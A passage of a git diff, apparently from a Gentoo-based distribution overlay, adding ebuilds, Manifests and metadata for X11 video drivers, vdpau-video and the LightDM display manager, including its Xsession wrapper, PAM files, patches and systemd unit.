+}
diff --git a/x11-drivers/xf86-video-ati/xf86-video-ati-7.1.0.ebuild b/x11-drivers/xf86-video-ati/xf86-video-ati-7.1.0.ebuild
new file mode 100644
index 00000000..7a553de5
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/xf86-video-ati-7.1.0.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+XORG_DRI=always
+inherit xorg-2
+
+DESCRIPTION="ATI video driver"
+
+KEYWORDS="~alpha amd64 ~ia64 ~ppc ~ppc64 ~sparc x86"
+IUSE="glamor udev"
+
+RDEPEND=">=x11-libs/libdrm-2.4.36[video_cards_radeon]
+	glamor? ( x11-libs/glamor )
+	udev? ( virtual/udev )"
+DEPEND="${RDEPEND}"
+
+src_configure() {
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable glamor)
+		$(use_enable udev)
+	)
+	xorg-2_src_configure
+}
+
+pkg_preinst() {
+	# "untrack" radeon.conf, starting from kernel 3.6, this is
+	# no longer needed. However, we don't want to break the current
+	# status-quo.
+	if [ -f "${EROOT}/etc/modprobe.d/radeon.conf" ]; then
+		cp "${EROOT}/etc/modprobe.d/"{radeon.conf,radeon.conf.untracked} || die
+	fi
+}
+
+pkg_postinst() {
+	if [ -f "${EROOT}/etc/modprobe.d/radeon.conf.untracked" ]; then
+		mv "${EROOT}/etc/modprobe.d/"{radeon.conf.untracked,radeon.conf} || die
+	fi
+}
diff --git a/x11-drivers/xf86-video-intel/Manifest b/x11-drivers/xf86-video-intel/Manifest
new file mode 100644
index 00000000..3f71f947
--- /dev/null
+++ b/x11-drivers/xf86-video-intel/Manifest
@@ -0,0 +1,3 @@
+DIST xf86-video-intel-2.20.0.tar.bz2 1552275 SHA256 21949297220ceda32bba430f778c6409002079dc717c7190dbd1062ab4a56783
+EBUILD xf86-video-intel-2.20.0.ebuild 1368 SHA256 e5a3753024787fed056796f71d563dc32082099b61bf30ec3693c84d35362a91 SHA512 214fe3d74846e8b97cd766f2ac79be0251e834ba83859ab75c1e73861a28d58f2b9d35c73b17e49ea079c99573917386a30b90fd54e60330caabfcffade4d3e4 WHIRLPOOL aeb9f7afdc0430166363d1ecb7e6c433a34ced7008af91a3857f1cc652496cb9ea5399a6e5b5212a24e67b64c520396eb3dc2719e89e250939602da4404ff0d2
+MISC metadata.xml 348 SHA256 fa82cf175b029cd8bb6b1376ff254d6505a9dccb779a7a3a94086c91a64aa5bc SHA512 ca2a6176e84b00de3c2aa09c15c6296a9229ec8da6bd1d5d26fb6137972ce696b140803890f274599ce15e9b5b3c8f0ec9c2e2535d37e6ff57a177df7cd45469 WHIRLPOOL a5298f1aa8aadef944aa82bfe4d1572520631d06070fb12d2dfda80ad8605a46284154ac4bc66a03291ac769bb1c812126440cbdf75408f67557fa10fc33f76f
diff --git a/x11-drivers/xf86-video-intel/metadata.xml b/x11-drivers/xf86-video-intel/metadata.xml
new file mode 100644
index 00000000..da0aa07f
--- /dev/null
+++ b/x11-drivers/xf86-video-intel/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>x11</herd>
+	<use>
+		<flag name="glamor">Enable glamor GL-based acceleration</flag>
+		<flag name="sna">Enable SandyBridge's New Acceleration (useful on all chipsets, not just SandyBridge)</flag>
+	</use>
+</pkgmetadata>
diff --git a/x11-drivers/xf86-video-intel/xf86-video-intel-2.20.0.ebuild b/x11-drivers/xf86-video-intel/xf86-video-intel-2.20.0.ebuild
new file mode 100644
index 00000000..0a6d950f
--- /dev/null
+++ b/x11-drivers/xf86-video-intel/xf86-video-intel-2.20.0.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/xf86-video-intel/xf86-video-intel-2.19.0.ebuild,v 1.7 2012/07/04 22:13:45 remi Exp $
+
+EAPI=4
+
+XORG_DRI=dri
+inherit linux-info xorg-2
+
+DESCRIPTION="X.Org driver for Intel cards"
+
+KEYWORDS="amd64 ~ia64 x86 ~amd64-fbsd -x86-fbsd"
+IUSE="glamor sna"
+
+RDEPEND="x11-libs/libXext
+	x11-libs/libXfixes
+	x11-libs/libXvMC
+	>=x11-libs/libxcb-1.5
+	x11-libs/xcb-util
+	>=x11-libs/libdrm-2.4.29[video_cards_intel]
+	glamor? (
+		x11-libs/glamor
+	)
+	sna? (
+		>=x11-base/xorg-server-1.10
+		>=x11-libs/pixman-0.24
+	)"
+DEPEND="${RDEPEND}
+	>=x11-proto/dri2proto-2.6"
+
+pkg_setup() {
+	linux-info_pkg_setup
+	xorg-2_pkg_setup
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable dri)
+		$(use_enable glamor)
+		$(use_enable sna)
+		--enable-xvmc
+	)
+}
+
+pkg_postinst() {
+	if linux_config_exists \
+		&& ! linux_chkconfig_present DRM_I915_KMS; then
+		echo
+		ewarn "This driver requires KMS support in your kernel"
+		ewarn "  Device Drivers --->"
+		ewarn "    Graphics support --->"
+		ewarn "      Direct Rendering Manager (XFree86 4.1.0 and higher DRI support)  --->"
+		ewarn "      <*>   Intel 830M, 845G, 852GM, 855GM, 865G (i915 driver)  --->"
+		ewarn "              i915 driver"
+		ewarn "      [*]       Enable modesetting on intel by default"
+		echo
+	fi
+}
diff --git a/x11-drivers/xf86-video-radeonhd/Manifest b/x11-drivers/xf86-video-radeonhd/Manifest
new file mode 100644
index 00000000..903fdd3e
--- /dev/null
+++ b/x11-drivers/xf86-video-radeonhd/Manifest
@@ -0,0 +1 @@
+EBUILD xf86-video-radeonhd-9999.ebuild 806 SHA256 809185958da48ea3fb412f7e6627980643cc810aeb5c4f732176b13885cb9e7b SHA512 95088fc68797647443a6f800bd48b68975e88214e35cd4c36164a642d7b2fd7f271e6dfa718fe2dfe5262031621f68fd38936a4683d176d1f5755de2e7cae642 WHIRLPOOL 58353a2324c1c46d103b88585ed324b37fa6d7cb0e64f6cddbcda64b807f07cae71a7209500fde083d878f7c25a080fc404667c073486296e3fbf313e30a5295
diff --git a/x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild b/x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild
new file mode 100644
index 00000000..f2aa0e21
--- /dev/null
+++ b/x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-1.2.1.ebuild,v 1.3 2008/04/15 15:07:12 drac Exp $
+
+XDPVER=-1
+inherit git x-modular
+
+DESCRIPTION="Experimental Radeon HD video driver."
+HOMEPAGE="http://wiki.x.org/wiki/radeonhd"
+EGIT_REPO_URI="git://anongit.freedesktop.org/git/xorg/driver/xf86-video-radeonhd"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="dri"
+
+RDEPEND=">=x11-base/xorg-server-1.3.0
+	sys-apps/pciutils
+	dri? ( >=media-libs/mesa-7.0.3 )"
+DEPEND="${RDEPEND}
+	x11-proto/xextproto
+	x11-proto/xproto
+	dri? (
+		x11-proto/glproto
+		x11-proto/xf86driproto
+	)"
+
+src_install() {
+	x-modular_src_install
+	dobin utils/conntest/rhd_{conntest,dump}
+}
diff --git a/x11-libs/vdpau-video/Manifest b/x11-libs/vdpau-video/Manifest
new file mode 100644
index 00000000..5c32447a
--- /dev/null
+++ b/x11-libs/vdpau-video/Manifest
@@ -0,0 +1,2 @@
+DIST vdpau-video-0.7.3.tar.gz 400121 SHA256 28f66adc7d87a513a765dd79fda469e895b76692173d2aa79a26f4a618f91266 SHA512 ddaf232dcdd207939e659c88eac4f38a212566e95d6a08afbc22d274585c7a0972c8462c9273b26459628f95ade26081a171f9140cf857386d341e1dda98d63c WHIRLPOOL cddeb9c7de9176b82f11bee96be78fa6be613d1e097f4070e686f6d08a448567a7092f36673aa1c55fd5d3c7493390714c9b1031bf1820a64cb46fb60537685c
+EBUILD vdpau-video-0.7.3.ebuild 935 SHA256 f73af915398e14ab04664f6c49679c7e2b92aaf9814505c352be436f991d7afc SHA512 39df9564ffe100f8c25e30c1e28cb20ca25fc1cfa925c38d00a26f6ec8fcbed75cb4d6242349ddcab86c22180c8aa1f26f5e9a33d6db9615c8e47078613cefc5 WHIRLPOOL 959e3c1eccc5624dce8f46bafd977e4cd5f3154930597006053e670b2f0ce575b79cc1c6399bd0ce8ac073323b831c661b9a5eaecc4e9d88358471db3d6128d8
diff --git a/x11-libs/vdpau-video/vdpau-video-0.7.3.ebuild b/x11-libs/vdpau-video/vdpau-video-0.7.3.ebuild
new file mode 100644
index 00000000..76d517c0
--- /dev/null
+++ b/x11-libs/vdpau-video/vdpau-video-0.7.3.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-libs/vdpau-video/Attic/vdpau-video-0.7.3.ebuild,v 1.5 2012/11/21 17:43:27 aballier dead $
+
+EAPI="2"
+inherit autotools
+
+MY_P=${P/_/.}
+DESCRIPTION="VDPAU Backend for Video Acceleration (VA) API"
+HOMEPAGE="http://www.freedesktop.org/wiki/Software/vaapi"
+SRC_URI="http://www.splitted-desktop.com/~gbeauchesne/${PN}/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="debug opengl"
+
+RDEPEND="x11-libs/libva[opengl?]
+	opengl? ( virtual/opengl )
+	x11-libs/libvdpau"
+
+DEPEND="${DEPEND}
+	virtual/pkgconfig"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+	eautoreconf
+}
+
+src_configure() {
+	econf \
+		$(use_enable debug) \
+		$(use_enable opengl glx)
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "make install failed"
+	dodoc NEWS README AUTHORS
+	find "${D}" -name '*.la' -delete
+}
diff --git a/x11-misc/lightdm-base/Manifest b/x11-misc/lightdm-base/Manifest
new file mode 100644
index 00000000..f818f8d1
--- /dev/null
+++ b/x11-misc/lightdm-base/Manifest
@@ -0,0 +1,3 @@
+DIST introspection-20110205.m4.tar.bz2 1220 SHA256 4394a606d380ae5315872ede35387f104da5fad96794d29c45c444a9d481d8b2 SHA512 5c49239935b93d86cce68b577b43d1a56d8749ab5747029bfcfa67339697134be24ef29ba6c3d133b8c03e867864637c8eb61491a4b7f6bb1e56386ed66cb9be WHIRLPOOL 0765c0a72919b26d0c8c38714450eec578a347bfc1c59d4950b633b64b17aa1cde38dfb87fdcd6e2f364c98d6c0bd3dadaa9c2a9711bd1b5ac09a583b988f500
+DIST lightdm-1.4.0.tar.gz 660979 SHA256 3486a9f828864a78d452696cf6fef6e1dec2f4ef92a72e90ab37edf9a0824c43 SHA512 dedea48dbf2dde1a84c63691474b6452340b7ba5abd9793afb02f3ffcdb4d664432e3e4bbd6151bfb5861424c1063b42ca99989642b970b4a804ed8bfea6fb1e WHIRLPOOL 0def63f88e3f6ab810411bd51f53984d5cdb832faa81f33d0dd2243b774c06362d20d1c91d32c79f2630c8e543834ed3f5cf411c76843702ed997f60bad30212
+DIST lightdm-1.8.5.tar.xz 449024 SHA256 c1a55800628c7a683a529e32646eae4be32295a09af049c9b15387acff0232a2 SHA512 a3941560abe402b07e5595a6fb6bcbd9df36f775b07ac23c526a14c25c1bc2e9ce4e2f912354446111f58499d9df92c650b44b05dbd1e49b5207722d5bf7985f WHIRLPOOL aabc3adf3412b92b235fc8c2674d6807d5bf5c0714a73ac62b558decf779f98a5fbf9151ec00498c4ef3032b153d7735ca216d9451fdd11924f72dab77e7f4ef
diff --git a/x11-misc/lightdm-base/files/README.gentoo b/x11-misc/lightdm-base/files/README.gentoo
new file mode 100644
index 00000000..182f5308
--- /dev/null
+++ b/x11-misc/lightdm-base/files/README.gentoo
@@ -0,0 +1,11 @@
+
+ * Even though the default /etc/lightdm/lightdm.conf will work for
+ * most users, make sure you configure it to suit your needs
+ * before using lightdm for the first time.
+ * You can test the configuration file using the following
+ * command: lightdm --test-mode -c /etc/lightdm/lightdm.conf. This
+ * requires xorg-server to be built with the 'kdrive' useflag.
+ *
+ * You can also set your own default values for LIGHTDM_GREETER,
+ * LIGHTDM_SESSION, and LIGHTDM_USER in /etc/portage/make.conf
+
diff --git a/x11-misc/lightdm-base/files/Xsession b/x11-misc/lightdm-base/files/Xsession
new file mode 100644
index 00000000..5da041e6
--- /dev/null
+++ b/x11-misc/lightdm-base/files/Xsession
@@ -0,0 +1,69 @@
+#!/bin/sh
+#
+# LightDM wrapper to run around X sessions.
+
+echo "Running X session wrapper"
+
+# Load profile
+for file in "/etc/profile" "$HOME/.profile" "/etc/xprofile" "$HOME/.xprofile"; do
+    if [ -f "$file" ]; then
+        echo "Loading profile from $file";
+        . "$file"
+    fi
+done
+
+# Load resources
+for file in "/etc/X11/Xresources" "$HOME/.Xresources"; do
+    if [ -f "$file" ]; then
+        echo "Loading resource: $file"
+        xrdb -nocpp -merge "$file"
+    fi
+done
+
+# Load keymaps
+for file in "/etc/X11/Xkbmap" "$HOME/.Xkbmap"; do
+    if [ -f "$file" ]; then
+        echo "Loading keymap: $file"
+        setxkbmap `cat "$file"`
+        XKB_IN_USE=yes
+    fi
+done    
+
+# Load xmodmap if not using XKB
+if [ -z "$XKB_IN_USE" ]; then
+    for file in "/etc/X11/Xmodmap" "$HOME/.Xmodmap"; do
+        if [ -f "$file" ]; then
+           echo "Loading modmap: $file"
+           xmodmap "$file"
+        fi
+    done
+fi
+
+unset XKB_IN_USE
+
+# Run all system xinitrc shell scripts.
+xinitdir="/etc/X11/xinit/xinitrc.d"
+if [ -d "$xinitdir" ]; then
+    for script in $xinitdir/*; do
+        echo "Loading xinit script $script"
+        if [ -x "$script" -a ! -d "$script" ]; then
+            . "$script"
+        fi
+    done
+fi
+
+# Load Xsession scripts
+xsessionddir="/etc/X11/Xsession.d"
+if [ -d "$xsessionddir" ]; then
+    for i in `ls $xsessionddir`; do
+        script="$xsessionddir/$i"
+        echo "Loading X session script $script"
+        if [ -r "$script"  -a -f "$script" ] && expr "$i" : '^[[:alnum:]_-]\+$' > /dev/null; then
+            . "$script"
+        fi
+    done
+fi
+
+echo "X session wrapper complete, running session $@"
+
+exec $@
diff --git a/x11-misc/lightdm-base/files/lightdm b/x11-misc/lightdm-base/files/lightdm
new file mode 100644
index 00000000..6286d6ab
--- /dev/null
+++ b/x11-misc/lightdm-base/files/lightdm
@@ -0,0 +1,8 @@
+#%PAM-1.0
+auth       optional		pam_env.so
+auth       include		system-login
+auth       required		pam_nologin.so
+account    include		system-login
+password   include		system-login
+session    optional             pam_loginuid.so
+session    include		system-auth
diff --git a/x11-misc/lightdm-base/files/lightdm-1.7.7-session-wrapper.patch b/x11-misc/lightdm-base/files/lightdm-1.7.7-session-wrapper.patch
new file mode 100644
index 00000000..40b41597
--- /dev/null
+++ b/x11-misc/lightdm-base/files/lightdm-1.7.7-session-wrapper.patch
@@ -0,0 +1,13 @@
+Index: lightdm-1.7.7/data/lightdm.conf
+===================================================================
+--- lightdm-1.7.7.orig/data/lightdm.conf
++++ lightdm-1.7.7/data/lightdm.conf
+@@ -87,7 +87,7 @@
+ #user-session=default
+ #allow-guest=true
+ #guest-session=UNIMPLEMENTED
+-#session-wrapper=lightdm-session
++session-wrapper=/etc/lightdm/Xsession
+ #greeter-wrapper=
+ #display-setup-script=
+ #greeter-setup-script=
diff --git a/x11-misc/lightdm-base/files/lightdm-autologin b/x11-misc/lightdm-base/files/lightdm-autologin
new file mode 100644
index 00000000..decfba34
--- /dev/null
+++ b/x11-misc/lightdm-base/files/lightdm-autologin
@@ -0,0 +1,6 @@
+auth	optional	pam_env.so
+auth	required	pam_nologin.so
+auth	required	pam_permit.so
+
+account	include		system-local-login
+session	include		system-local-login
diff --git a/x11-misc/lightdm-base/files/lightdm.service b/x11-misc/lightdm-base/files/lightdm.service
new file mode 100644
index 00000000..7eb46ceb
--- /dev/null
+++ b/x11-misc/lightdm-base/files/lightdm.service
@@ -0,0 +1,14 @@
+[Unit]
+Description=Light Display Manager
+Documentation=man:lightdm(1)
+After=systemd-user-sessions.service
+
+[Service]
+ExecStart=/usr/sbin/lightdm
+StandardOutput=syslog
+Restart=always
+IgnoreSIGPIPE=no
+BusName=org.freedesktop.DisplayManager
+
+[Install]
+Alias=display-manager.service
diff --git a/x11-misc/lightdm-base/files/session-wrapper-lightdm.patch b/x11-misc/lightdm-base/files/session-wrapper-lightdm.patch
new file mode 100644
index 00000000..9f41816a
--- /dev/null
+++ b/x11-misc/lightdm-base/files/session-wrapper-lightdm.patch
@@ -0,0 +1,13 @@
+Index: lightdm-1.0.6/data/lightdm.conf
+===================================================================
+--- lightdm-1.0.6.orig/data/lightdm.conf
++++ lightdm-1.0.6/data/lightdm.conf
+@@ -65,7 +65,7 @@
+ #user-session=default
+ #allow-guest=true
+ #guest-session=UNIMPLEMENTED
+-#session-wrapper=lightdm-session
++session-wrapper=/etc/lightdm/Xsession
+ #display-setup-script=
+ #greeter-setup-script=
+ #session-setup-script=
diff --git a/x11-misc/lightdm-base/lightdm-base-1.4.0-r1.ebuild b/x11-misc/lightdm-base/lightdm-base-1.4.0-r1.ebuild
new file mode 100644
index 00000000..d45f2006
--- /dev/null
+++ b/x11-misc/lightdm-base/lightdm-base-1.4.0-r1.ebuild
@@ -0,0 +1,91 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+inherit autotools eutils pam readme.gentoo systemd
+
+TRUNK_VERSION="1.4"
+REAL_PN="${PN/-base}"
+REAL_P="${P/-base}"
+DESCRIPTION="A lightweight display manager, base libraries and programs"
+HOMEPAGE="http://www.freedesktop.org/wiki/Software/LightDM"
+SRC_URI="http://launchpad.net/${REAL_PN}/${TRUNK_VERSION}/${PV}/+download/${REAL_P}.tar.gz
+	mirror://gentoo/introspection-20110205.m4.tar.bz2"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE="+introspection"
+S="${WORKDIR}/${REAL_P}"
+
+COMMON_DEPEND=">=dev-libs/glib-2.32.3:2
+	dev-libs/libxml2
+	sys-apps/accountsservice
+	virtual/pam
+	x11-libs/libX11
+	>=x11-libs/libxklavier-5
+	introspection? ( >=dev-libs/gobject-introspection-1 )"
+
+RDEPEND="${COMMON_DEPEND}
+	>=sys-auth/pambase-20101024-r2"
+DEPEND="${COMMON_DEPEND}
+	dev-util/gtk-doc-am
+	dev-util/intltool
+	sys-devel/gettext
+	virtual/pkgconfig"
+PDEPEND="app-admin/eselect-lightdm"
+
+DOCS=( NEWS )
+
+src_prepare() {
+	sed -i -e 's:getgroups:lightdm_&:' tests/src/libsystem.c || die #412369
+	sed -i -e '/minimum-uid/s:500:1000:' data/users.conf || die
+
+	epatch "${FILESDIR}"/session-wrapper-${REAL_PN}.patch
+	epatch_user
+
+	# Remove bogus Makefile statement. This needs to go upstream
+	sed -i /"@YELP_HELP_RULES@"/d help/Makefile.am || die
+	if has_version dev-libs/gobject-introspection; then
+		eautoreconf
+	else
+		AT_M4DIR=${WORKDIR} eautoreconf
+	fi
+}
+
+src_configure() {
+	# Set default values if global vars unset
+	local _user
+	_user=${LIGHTDM_USER:=root}
+	# Let user know how lightdm is configured
+	einfo "Rogentos configuration"
+	einfo "Greeter user: ${_user}"
+
+	econf \
+		--localstatedir=/var \
+		--disable-static \
+		--disable-liblightdm-qt \
+		--with-greeter-user=${_user} \
+		$(use_enable introspection) \
+		--with-html-dir="${EPREFIX}"/usr/share/doc/${PF}/html
+}
+
+src_install() {
+	default
+
+	insinto /etc/${REAL_PN}
+	doins data/{${REAL_PN},keys}.conf
+	doins "${FILESDIR}"/Xsession
+	fperms +x /etc/${REAL_PN}/Xsession
+
+	prune_libtool_files --all
+	rm -rf "${ED}"/etc/init
+
+	pamd_mimic system-local-login ${REAL_PN} auth account session #372229
+	dopamd "${FILESDIR}"/${REAL_PN}-autologin #390863, #423163
+
+	readme.gentoo_create_doc
+
+	systemd_dounit "${FILESDIR}/lightdm.service"
+}
diff --git a/x11-misc/lightdm-base/lightdm-base-1.4.0.ebuild b/x11-misc/lightdm-base/lightdm-base-1.4.0.ebuild
new file mode 100644
index 00000000..6dbd5f7f
--- /dev/null
+++ b/x11-misc/lightdm-base/lightdm-base-1.4.0.ebuild
@@ -0,0 +1,91 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+inherit autotools eutils pam readme.gentoo systemd
+
+TRUNK_VERSION="1.4"
+REAL_PN="${PN/-base}"
+REAL_P="${P/-base}"
+DESCRIPTION="A lightweight display manager, base libraries and programs"
+HOMEPAGE="http://www.freedesktop.org/wiki/Software/LightDM"
+SRC_URI="http://launchpad.net/${REAL_PN}/${TRUNK_VERSION}/${PV}/+download/${REAL_P}.tar.gz
+	mirror://gentoo/introspection-20110205.m4.tar.bz2"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE="+introspection"
+S="${WORKDIR}/${REAL_P}"
+
+COMMON_DEPEND=">=dev-libs/glib-2.32.3:2
+	dev-libs/libxml2
+	sys-apps/accountsservice
+	virtual/pam
+	x11-libs/libX11
+	>=x11-libs/libxklavier-5
+	introspection? ( >=dev-libs/gobject-introspection-1 )"
+
+RDEPEND="${COMMON_DEPEND}
+	>=sys-auth/pambase-20101024-r2"
+DEPEND="${COMMON_DEPEND}
+	dev-util/gtk-doc-am
+	dev-util/intltool
+	sys-devel/gettext
+	virtual/pkgconfig"
+PDEPEND="app-admin/eselect-lightdm"
+
+DOCS=( NEWS )
+
+src_prepare() {
+	sed -i -e 's:getgroups:lightdm_&:' tests/src/libsystem.c || die #412369
+	sed -i -e '/minimum-uid/s:500:1000:' data/users.conf || die
+
+	epatch "${FILESDIR}"/session-wrapper-${REAL_PN}.patch
+	epatch_user
+
+	# Remove bogus Makefile statement. This needs to go upstream
+	sed -i /"@YELP_HELP_RULES@"/d help/Makefile.am || die
+	if has_version dev-libs/gobject-introspection; then
+		eautoreconf
+	else
+		AT_M4DIR=${WORKDIR} eautoreconf
+	fi
+}
+
+src_configure() {
+	# Set default values if global vars unset
+	local _user
+	_user=${LIGHTDM_USER:=root}
+	# Let user know how lightdm is configured
+	einfo "RogentOS configuration"
+	einfo "Greeter user: ${_user}"
+
+	econf \
+		--localstatedir=/var \
+		--disable-static \
+		--disable-liblightdm-qt \
+		--with-greeter-user=${_user} \
+		$(use_enable introspection) \
+		--with-html-dir="${EPREFIX}"/usr/share/doc/${PF}/html
+}
+
+src_install() {
+	default
+
+	insinto /etc/${REAL_PN}
+	doins data/{${REAL_PN},keys}.conf
+	doins "${FILESDIR}"/Xsession
+	fperms +x /etc/${REAL_PN}/Xsession
+
+	prune_libtool_files --all
+	rm -rf "${ED}"/etc/init
+
+	pamd_mimic system-local-login ${REAL_PN} auth account session #372229
+	dopamd "${FILESDIR}"/${REAL_PN}-autologin #390863, #423163
+
+	readme.gentoo_create_doc
+
+	systemd_dounit "${FILESDIR}/lightdm.service"
+}
diff --git a/x11-misc/lightdm-base/lightdm-base-1.8.5-r2.ebuild b/x11-misc/lightdm-base/lightdm-base-1.8.5-r2.ebuild
new file mode 100644
index 00000000..fd43798d
--- /dev/null
+++ b/x11-misc/lightdm-base/lightdm-base-1.8.5-r2.ebuild
@@ -0,0 +1,98 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+inherit autotools eutils pam readme.gentoo systemd
+
+TRUNK_VERSION="1.8"
+REAL_PN="${PN/-base}"
+REAL_P="${P/-base}"
+DESCRIPTION="A lightweight display manager, base libraries and programs"
+HOMEPAGE="http://www.freedesktop.org/wiki/Software/LightDM"
+SRC_URI="http://launchpad.net/${REAL_PN}/${TRUNK_VERSION}/${PV}/+download/${REAL_P}.tar.xz
+	mirror://gentoo/introspection-20110205.m4.tar.bz2"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE="+introspection"
+S="${WORKDIR}/${REAL_P}"
+
+COMMON_DEPEND=">=dev-libs/glib-2.32.3:2
+	dev-libs/libxml2
+	sys-apps/accountsservice
+	virtual/pam
+	x11-libs/libX11
+	>=x11-libs/libxklavier-5
+	introspection? ( >=dev-libs/gobject-introspection-1 )"
+
+RDEPEND="${COMMON_DEPEND}
+	>=sys-auth/pambase-20101024-r2"
+DEPEND="${COMMON_DEPEND}
+	dev-util/gtk-doc-am
+	dev-util/intltool
+	sys-devel/gettext
+	virtual/pkgconfig"
+PDEPEND="app-admin/eselect-lightdm"
+
+DOCS=( NEWS )
+
+src_prepare() {
+	sed -i -e 's:getgroups:lightdm_&:' tests/src/libsystem.c || die #412369
+	sed -i -e '/minimum-uid/s:500:1000:' data/users.conf || die
+
+	epatch "${FILESDIR}"/lightdm-1.7.7-session-wrapper.patch
+	epatch_user
+
+	# Remove bogus Makefile statement. This needs to go upstream
+	sed -i /"@YELP_HELP_RULES@"/d help/Makefile.am || die
+	if has_version dev-libs/gobject-introspection; then
+		eautoreconf
+	else
+		AT_M4DIR=${WORKDIR} eautoreconf
+	fi
+}
+
+src_configure() {
+	# Set default values if global vars unset
+	local _user
+	_user=${LIGHTDM_USER:=root}
+	# Let user know how lightdm is configured
+	einfo "RogentOS configuration"
+	einfo "Greeter user: ${_user}"
+
+	econf \
+		--localstatedir=/var \
+		--disable-static \
+		--disable-liblightdm-qt \
+		--with-greeter-user=${_user} \
+		$(use_enable introspection) \
+		--with-html-dir="${EPREFIX}"/usr/share/doc/${PF}/html
+}
+
+src_install() {
+	default
+
+	# Delete apparmor profiles because they only work with Ubuntu's
+	# apparmor package. Bug #494426
+	if [[ -d ${D}/etc/apparmor.d ]]; then
+		rm -r "${D}/etc/apparmor.d" || die \
+			"Failed to remove apparmor profiles"
+	fi
+
+	insinto /etc/${REAL_PN}
+	doins data/{${REAL_PN},keys}.conf
+	doins "${FILESDIR}"/Xsession
+	fperms +x /etc/${REAL_PN}/Xsession
+
+	prune_libtool_files --all
+	rm -rf "${ED}"/etc/init
+
+	pamd_mimic system-local-login ${REAL_PN} auth account session #372229
+	dopamd "${FILESDIR}"/${REAL_PN}-autologin #390863, #423163
+
+	readme.gentoo_create_doc
+
+	systemd_dounit "${FILESDIR}/${REAL_PN}.service"
+}
diff --git a/x11-misc/lightdm-base/metadata.xml b/x11-misc/lightdm-base/metadata.xml
new file mode 100644
index 00000000..f251fe5e
--- /dev/null
+++ b/x11-misc/lightdm-base/metadata.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+	<email>hwoarang@gentoo.org</email>
+	<name>Markos Chandras</name>
+</maintainer>
+<maintainer>
+	<email>yngwin@gentoo.org</email>
+	<name>Ben de Groot</name>
+</maintainer>
+<use>
+	<flag name="branding">Replace original gnome background with one from Gentoo ten project</flag>
+	<flag name="gtk">Pull in the gtk+ greeter</flag>
+	<flag name="introspection">Use dev-libs/gobject-introspection for introspection</flag>
+	<flag name="kde">Pull in the kde greeter</flag>
+	<flag name="razor">Pull in the razorqt greeter</flag>
+</use>
+<longdescription lang="en">
+</longdescription>
+</pkgmetadata>
diff --git a/x11-misc/lightdm-gtk-greeter/Manifest b/x11-misc/lightdm-gtk-greeter/Manifest
new file mode 100644
index 00000000..6b81d409
--- /dev/null
+++ b/x11-misc/lightdm-gtk-greeter/Manifest
@@ -0,0 +1,3 @@
+DIST lightdm-gtk-greeter-1.3.1.tar.gz 374479 SHA256 a384b6413a52e6c6aeaf3242b2420e857ad7e2e4e5bec47da663e67076c0ee87 SHA512 3a597fcf3dff930c5ed9cc13675c0af6f385987718527a4a2598a92d2c114df5752d8ab7867d027b4c5de71fa76f0127b57b4d73400a096e530835bf9e2e945a WHIRLPOOL 7e78fd138c528e258eb1718ddf2479ebc657887a41c605a001dc14a20965c99d45d7500b5e5194ca364069ead762fb029ea6e2ce03be4cc786ef568b4deef7e5
+DIST lightdm-gtk-greeter-1.6.1.tar.gz 391175 SHA256 1f0286ab093d50151f0efc46496aef3f8ed8c7306bbc81807a3fdcbcb2a468d9 SHA512 5137deb631b669db58731a6449ba8f8709666fb7b6affac56038355aafec73041e81a9a822035de7bed0d7164d124df50387a708addde4cf094fe0a977ea154a WHIRLPOOL 9eb4cec7f04d21c3c912f8bf42ae2110ce126006a15c860b21fd66fb41bcb0a517895eba6f017587576fb03be17601614ca3798147923a1690573a1d5e35e813
